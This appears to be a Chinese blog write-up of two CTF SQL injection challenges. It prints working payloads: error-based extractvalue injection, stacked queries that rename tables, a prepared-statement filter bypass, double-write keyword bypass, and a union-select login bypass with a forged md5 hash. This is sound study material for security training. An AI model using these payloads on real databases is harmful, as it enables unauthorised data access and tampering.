SQL注入1
包含题目:
- [强网杯2019]随便注
- [GYCTF2020]Blacklist(待更)
- [GXYCTF2019]BabySQli
强网杯2019随便注
打开题目看到似乎是把查询的原始数组返回了。数组的键是列名,值是记录。 输入1,2试试看。发现似乎是有两条记录。既然题目提示SQL注入,那就注!1
2
3
4
5
6array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
先试1’ 发现有回显。那就好说了。先看看数据库发现过滤了1
1' and extractvalue(1,concat("0x7e",(select database())))
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
/i不区分大小写,那就先不考虑大小写绕过了
布尔show一下
1’ and extractvalue(1,concat(0x7e,(database())))#
发现数据库是supersqli
由于过滤比较严格,直接拿数据似乎有点难,这时候真不会了,去看大佬的wp才知道自己漏了堆叠注入,当初学的时候觉得挺不起眼的,现在知道了。
1’; show tables;
发现有两张表:
1 | array(1) { |
words表里:
1 | array(6) { |
1919810931114514表里(这里记得加反引号!!!)
1 | array(6) { |
flag在1919810931114514表里。接下来就只能上点儿骚操作了。看起来应该是从words表里查数据,那怎么从另一张表里读数据呢?我使用的是重命名,
1 | 1';alter table `words` rename to `word`; |
得到flag{f0297b74-901e-4950-acb5-31e4e72467bf}!完事儿
预编译的方法:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造payload:
1 | -1'; |
这里又用了strstr()函数,但该函数不区分大小写,可以大小写绕过。
如果这里用了stristr()区分大小写的话,可以尝试用ASCII码来绕过。
结束!!
总结
姿势1:
双写,如果用replace函数做过滤的话,可以用双写绕过。replace将寻找字符串中符合条件的部分字符串然后做替换,但不做二次检查。因此可以用双写
例如 ununionion seselectlect frfromom
[GXYCTF2019]BabySQli
打开题目,发现要输入username和password,先都试试admin,返回wrong pass,那么admin这个用户名正确的可能性很大。换其他用户名试试发现是wrong user,可以确定是存在admin这个用户的。
接下来判断注入点,username加上单引号发现回显报错了,证明这里就是注入点。
联合注入发现总共有三列,这里要说一下联合查询的结果:
当 union 的两个查询的结果列数相同时,union 会把两个查询的结果合并,当查询的结果列数不同时,MySQL会报错:The used SELECT statements have a different number of columns
而当两个查询的结果中有字段的值完全一样时,会将结果合并。
然后就要判断查询的3列中,哪一列是username,哪一列是password
尝试payload:
1 | 1' union select 'admin' ,2,3# |
发现只有1’ union select 1,’admin’,3#回显是wrong user,其他都是wrong pass,证明user是第二列,同理pass是第三列。
然后就不会了。。。
跑去看wp,发现是有源码的…
1 | if(xxx['password'])===md5($_POST['pw'])){ |
这样的话,可以通过伪造查询结果的方法来绕过,让union的第一个查询为空,而让payload的第3个字段为自定义的md5序列,这样就可以绕过判断。
payload:
1 | 1' union select 1,'admin',md5('1')# |
密码是1,登陆后就拿到flag!
噗,好像还过滤了md5.那就本地跑一个md5序列然后当作字符串传进去算惹。
附:
1 | import hashlib |
完事儿!!